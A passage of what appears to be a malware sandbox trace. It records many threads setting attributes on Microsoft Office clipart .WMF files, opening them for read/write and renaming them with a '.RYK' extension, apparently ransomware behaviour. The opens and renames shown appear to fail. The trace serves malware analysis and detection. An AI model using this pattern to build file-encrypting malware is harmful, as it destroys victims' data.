	[0238.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1894
	os_tid = 0x2390

	[0238.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF", dwFileAttributes=0x80) returned 0
	[0238.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1895
	os_tid = 0x2394

	[0238.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF", dwFileAttributes=0x80) returned 0
	[0238.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.916] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1896
	os_tid = 0x2398

	[0238.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF", dwFileAttributes=0x80) returned 0
	[0238.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.917] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1897
	os_tid = 0x239c

	[0238.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF", dwFileAttributes=0x80) returned 0
	[0238.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1898
	os_tid = 0x23a0

	[0238.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF", dwFileAttributes=0x80) returned 0
	[0238.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1899
	os_tid = 0x23a4

	[0238.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF", dwFileAttributes=0x80) returned 0
	[0238.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.931] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1900
	os_tid = 0x23a8

	[0238.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF", dwFileAttributes=0x80) returned 0
	[0239.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1901
	os_tid = 0x23ac

	[0238.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF", dwFileAttributes=0x80) returned 0
	[0239.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.144] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1902
	os_tid = 0x23b0

	[0238.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF", dwFileAttributes=0x80) returned 0
	[0239.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1903
	os_tid = 0x23b4

	[0238.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF", dwFileAttributes=0x80) returned 0
	[0239.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1904
	os_tid = 0x23b8

	[0238.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF", dwFileAttributes=0x80) returned 0
	[0239.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1905
	os_tid = 0x23bc

	[0238.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF", dwFileAttributes=0x80) returned 0
	[0239.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1906
	os_tid = 0x23c0

	[0238.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF", dwFileAttributes=0x80) returned 0
	[0239.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1907
	os_tid = 0x23c4

	[0238.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF", dwFileAttributes=0x80) returned 0
	[0239.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.149] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1908
	os_tid = 0x23c8

	[0238.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF", dwFileAttributes=0x80) returned 0
	[0239.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.150] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1909
	os_tid = 0x23cc

	[0238.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF", dwFileAttributes=0x80) returned 0
	[0239.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1910
	os_tid = 0x23d0

	[0238.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF", dwFileAttributes=0x80) returned 0
	[0239.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1911
	os_tid = 0x23d4

	[0238.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF", dwFileAttributes=0x80) returned 0
	[0238.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1912
	os_tid = 0x23d8

	[0238.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF", dwFileAttributes=0x80) returned 0
	[0238.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1913
	os_tid = 0x23dc

	[0238.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF", dwFileAttributes=0x80) returned 0
	[0238.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1914
	os_tid = 0x23e0

	[0238.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF", dwFileAttributes=0x80) returned 0
	[0238.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1915
	os_tid = 0x23e4

	[0238.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF", dwFileAttributes=0x80) returned 0
	[0238.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1916
	os_tid = 0x23e8

	[0238.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF", dwFileAttributes=0x80) returned 0
	[0238.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1917
	os_tid = 0x23ec

	[0238.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF", dwFileAttributes=0x80) returned 0
	[0238.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1918
	os_tid = 0x23f0

	[0238.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF", dwFileAttributes=0x80) returned 0
	[0238.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1919
	os_tid = 0x23f4

	[0238.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF", dwFileAttributes=0x80) returned 0
	[0238.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
